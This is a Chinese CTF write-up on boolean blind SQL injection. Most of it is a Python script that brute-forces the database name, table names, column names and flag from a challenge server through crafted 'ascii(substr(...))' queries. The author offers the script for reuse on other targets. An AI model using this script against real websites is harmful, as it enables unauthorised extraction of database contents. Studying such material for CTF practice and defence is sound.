0%

布尔盲注

2025-12-09 15:13By
FrostMoon
布尔盲注WEBSQL注入

Problem: 布尔盲注

思路

  • 解题大致思路
    无论查询的是什么,服务端都只会有回答两种-turn、false,也就是查询成功时回答turn,失败时回答false。
    这时候常规的注入方法就行不通了,这里要使用的就是布尔盲注。
    通过不停地猜测字符得出库名、表名、字段名进而得到数据,也就是flag
    即不停地问服务器,数据库的第一个字符是否是a,如果回答是false说明第一个字符不是a,进而问第一个字符是否是b,如此遍历每一个字符,就一定能得到其中一个字符的返回值是turn,那就说明这个位置的字母就是它,进而再问第二个字母,以此类推,得到库名、表名、字段名和具体数据
    这时你就会发现,每个题目的库名、表名、字段名和数据的长度可能都不同,而每个位置都要遍历所有字符,这工作量将会极大,这时就一定要用自动脚本来自动注入,这能大大提高效率

EXP

  • 具体攻击代码
  • 萌新在网上粗略找了一下脚本,发现没有比较符合的,所以只好自己写了一个针对这题的python代码,就放在下面了,复制到python修改一下参数就能直接运行就能直接运行,要是以后遇到相关问题,对代码稍作修改应该也能使用
import time import requests #设定环境URL,由于每次开启环境得到的URL都不同,需要修改!格式: http://node4.anna.nssctf.cn:28997/ url = 'http://node4.anna.nssctf.cn:28816/' #作为盲注成功的标记,成功页面会显示,每题都可能不同,要看情况改! success_mark = "id = 1" def dataBaseName(): #爆破数据库名 str = "" j = 1 while j < 50: flag = 0 for i in range(1,128): new_url = url + "?id=1 and ascii(substr(database(),{},1))={} --+".format( j, i) print(new_url) #要是觉得输出内容太多,把这行注释 r = requests.get(new_url) if success_mark in r.text: str = str + chr(i) print(str) #输出当前已经爆破到的字符 flag = 1 break if flag == 0: #一轮循环没有匹配到任何正确字符,默认为已将所有字符爆破出来,结束本函数 print(f'database_name:{str}') break j = j + 1 return str def tableName(): #爆破表名 str = "" j = 1 while j < 50: flag = 0 for i in range(1,128): new_url = url + "?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1))={} --+".format(j, i) print(new_url) #要是觉得输出内容太多,把这行注释 r = requests.get(new_url) if success_mark in r.text: str = str + chr(i) print(str) #输出当前已经爆破到的字符 flag = 1 break if flag == 0: #一轮循环没有匹配到任何正确字符,默认为已将所有字符爆破出来,结束本函数 print(f'table_name:{str}') break j = j + 1 return str def tableColumn(table_name, n): ##爆破表字段 str = "" j = 1 while j < 50: flag = 0 for i in range(1,128): new_url = url + "?id=1 and ascii(substr((select column_name from information_schema.columns where table_name= '{}' limit {},1),{},1))={} --+".format(table_name,n,j, i) print(new_url) #要是觉得输出内容太多,把这行注释 r = requests.get(new_url) if success_mark in r.text: str = str + chr(i) print(str) #输出当前已经爆破到的字符 flag = 1 break if flag == 0: #一轮循环没有匹配到任何正确字符,默认为已将所有字符爆破出来,结束本函数 print(f'table_column:{str}') break j = j + 1 return str def getFlag(table_name,table_column,n): #爆破表数据 str = "" j = 1 while j < 50: #如果flag总长度大于50,这里要修改,数字为接受的flag的最大长度,其他函数同理 flag = 0 for i in range(1, 128): new_url = url + "?id=1 and ascii(substr((select {} from {} limit {},1),{},1))={} --+".format(table_column, table_name, n, j, i) print(new_url) #要是觉得输出内容太多,把这行注释 r = requests.get(new_url) if success_mark in r.text: str = str + chr(i) print(str) #输出当前已经爆破到的字符 flag = 1 break if flag == 0: #一轮循环没有匹配到任何正确字符,默认为已将所有字符爆破出来,结束本函数 print(f'flag:{str}') break j = j + 1 return str print("警告:本代码用于布尔盲注的数字型注入,如需用于其他型注入,请自行修改代码!") print("开始前请确保已修改代码头部的url与success_mark!!!") print("爆破将在3秒后开始") time.sleep(3) #全自动爆破flag,推荐手动单个单个运行 # database_name = "test" # table_name = "f1ag_table" # table_column = "i_am_f1ag_column" database_name = dataBaseName() #个别题目数据库名可以不爆,直接从表名开始 table_name = tableName() table_column = tableColumn(table_name,0) #数字是字段的编号,0代表第一个字段,1代表第二个字段,以此类推 flag = getFlag(table_name,table_column,0) #数字是数据的行号,默认为0,即为第1行,若位置不对请自行修改 print(flag)

总结

  • 对该题的考点总结
    下面是运行结果的图例
    NSSIMAGE
    ps:由于本小白对python也是一知半解,就只能写到这种程度了,运行效率比较慢,还望谅解
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

哥,能不能解释一下success_mark怎么确定的

牛的来兄弟

加载中...